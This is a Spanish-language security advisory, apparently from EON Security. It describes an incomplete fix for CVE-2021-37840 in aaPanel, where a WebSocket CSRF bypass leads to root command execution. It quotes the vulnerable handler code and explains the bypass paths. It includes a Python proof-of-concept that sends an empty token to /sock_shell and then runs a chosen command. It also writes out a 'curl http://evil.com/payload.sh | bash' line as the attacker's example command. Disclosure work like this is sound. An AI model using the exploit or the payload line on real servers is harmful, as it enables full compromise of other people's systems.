
Bypass de CSRF en WebSocket de aaPanel que conduce a RCE (Corrección incompleta para CVE-2021-37840)
Una corrección incompleta para CVE-2021-37840 sigue exponiendo 3,6 millones de servidores a RCE como root, 5 años después
Descubierto por: EON Security
CVE: Pendiente de asignación
CVSS: 8.8 (Alta) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Afectados: aaPanel versiones 6.8.12 a 7.65.0 (todas las versiones desde la corrección de 2021)
Base instalada: más de 3,6 millones de servidores
En 2021, se divulgó una vulnerabilidad de Cross-Site WebSocket Hijacking (CVE-2021-37840) en aaPanel, un panel de control de hosting gratuito que se ejecuta en más de 3,6 millones de servidores. El proveedor añadió una verificación de token CSRF para "corregirla".
La corrección era arquitectónicamente incorrecta.
En lugar de rechazar las conexiones WebSocket no autenticadas a nivel HTTP (devolviendo 401), la corrección permite que todas las conexiones pasen (devuelve 101 Switching Protocols) y solo comprueba la autenticación dentro del manejador, después de que el WebSocket ya se ha establecido. La verificación CSRF que añadieron se puede omitir de múltiples maneras.
EON Security descubrió que, 5 años después, todas las versiones de aaPanel siguen siendo vulnerables a la misma clase de ataque.
Este es solo el décimo CVE asignado a aaPanel en sus más de 6 años de historia.
Si ejecutas aaPanel, esto es lo que un atacante puede hacerte:
Escenario 1: Un administrador hace clic en un enlace malicioso
curl http://evil.com/payload.sh | bash — ese comando se ejecuta como root en tu servidorSolo se necesita un clic. Un clic equivocado y el atacante lo controla todo.
Escenario 2: Se filtra una clave de API
Este es el problema más grande. La protección CSRF no se aplica en absoluto a las solicitudes autenticadas por API. Fue diseñada para verificar conexiones basadas en navegador, pero la ruta de código para el acceso por API la omite por completo.
De cualquier manera, 3,6 millones de servidores están afectados. Todas las versiones desde 2021.
g.api_request=True (solicitudes autenticadas por API) y g.is_aes=True (solicitudes cifradas con AES) omiten la verificación por completo/sock_shell ejecuta comandos arbitrarios — subprocess.Popen(cmd + " 2>&1", shell=True)/webssh acepta credenciales SSH proporcionadas por el atacante — conectar a cualquier host SSHTodos los endpoints WebSocket devuelven HTTP 101 Switching Protocols antes de cualquier verificación de autenticación. La verificación de autenticación comm.local() se ejecuta dentro del manejador, después de que la actualización WebSocket ya se ha completado:
@sockets.route('/sock_shell')
def sock_shell(ws):
comReturn = comm.local() # ← Auth check happens AFTER 101
if comReturn:
ws.send(str(comReturn))
return
Endpoints afectados:
/webssh (proxy de terminal SSH)/sock_shell (ejecución directa de comandos)/ws_panel (gestión del panel)/ws_home (panel de control)/ws_project (gestión de proyectos)/ws_model (gestión de modelos)/workorder_client (sistema de tickets)/v2/* de todos los anterioresLa función check_csrf_websocket() está diseñada para prevenir el Cross-Site WebSocket Hijacking:
def check_csrf_websocket(ws, args):
if g.is_aes: return True # ← Bypass: AES mode skips check
if g.api_request: return True # ← Bypass: API requests skip check
if public.is_debug(): return True
is_success = True
if not 'x-http-token' in args:
is_success = False
if is_success:
if public.get_csrf_sess_html_token_value() != args['x-http-token']:
is_success = False
if not is_success:
ws.send('token error')
return False
return True
Existen dos condiciones de bypass directo:
g.api_request: Cuando es True (se establece durante la autenticación con clave de API), la verificación CSRF se omite por completo. Cualquier sesión WebSocket autenticada por API evita esta protección.g.is_aes: Cuando es True (se establece durante solicitudes API cifradas con AES), la verificación CSRF también se omite.La comparación de tokens (get_csrf_sess_html_token_value()) devuelve session.get('request_token_head', ""). En sesiones donde este valor aún no se ha inicializado, un x-http-token vacío pasa la verificación.
El endpoint /sock_shell pasa cadenas proporcionadas por el atacante directamente a subprocess.Popen con shell=True:
def sock_recv(cmdstring, ws):
p = subprocess.Popen(cmdstring + " 2>&1",
close_fds=True,
shell=True, # ← Arbitrary command execution
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
Cada mensaje recibido en el WebSocket se ejecuta como un comando de shell. La salida se transmite de vuelta a través del WebSocket. Dado que aaPanel se ejecuta como root, esto es compromiso total del sistema.
El endpoint /webssh acepta parámetros de conexión SSH proporcionados por el atacante desde el primer mensaje WebSocket:
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()
Si el host es 127.0.0.1 o localhost, el manejador busca credenciales guardadas en la base de datos, o usa las proporcionadas por el atacante.
La ruta de explotación principal es CSWSH (Cross-Site WebSocket Hijacking) que requiere interacción del usuario:
wss://victim-panel:8888/sock_shellcomm.local() pasa la autenticación (cookie de sesión válida){"x-http-token": ""} o explota las rutas de bypass por API/AESRuta alternativa mediante compromiso de clave de API:
g.api_request = Trueimport asyncio, json, ssl
import websockets
async def exploit(target, command):
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
async with websockets.connect(
f"wss://{target}/sock_shell", ssl=ssl_context
) as ws:
# Attempt CSRF bypass with empty token
await ws.send(json.dumps({"x-http-token": ""}))
resp = await asyncio.wait_for(ws.recv(), timeout=10)
if "token error" in resp:
# CSRF check active — may need API auth bypass
return None
# Execute command
await ws.send(command)
return await asyncio.wait_for(ws.recv(), timeout=30)
PoC completo: exploit.py
Usa el script check.py para comprobar si una instancia de aaPanel tiene endpoints WebSocket vulnerables:
python3 check.py https://target:8888
g.api_request y g.is_aes no deberían omitir la protección CSRF| Fecha | Evento |
|---|
Yadav — EON Security
Sitio web: https://eonsecurity.co.za
Este contenido está licenciado bajo MIT. El PoC se proporciona únicamente con fines educativos y defensivos.
| Endpoint | Función | Impacto |
|---|
/webssh | Proxy de terminal SSH | Conectar a hosts SSH arbitrarios con credenciales del atacante |
/sock_shell | Ejecución directa de comandos | RCE como root mediante comandos de shell |
/ws_panel | Gestión del panel | Acceso a datos del panel |
/ws_home | Panel de control | Acceso a datos del panel de control |
/ws_project | Gestión de proyectos | Acceso a datos de proyectos |
/ws_model | Gestión de modelos | Acceso a datos de modelos |
/workorder_client | Sistema de tickets | Acceso a datos de tickets |
/v2/* | Todas las variantes v2 | Igual que arriba |
| 2021-08-02 | CVE-2021-37840 divulgado (aaPanel CSWSH) |
| 2021 | El proveedor añade check_csrf_websocket() como corrección |
| 2026-06-23 | EON Security descubre que la corrección es incompleta |
| Pendiente | Asignación de CVE |
| Pendiente | Divulgación pública |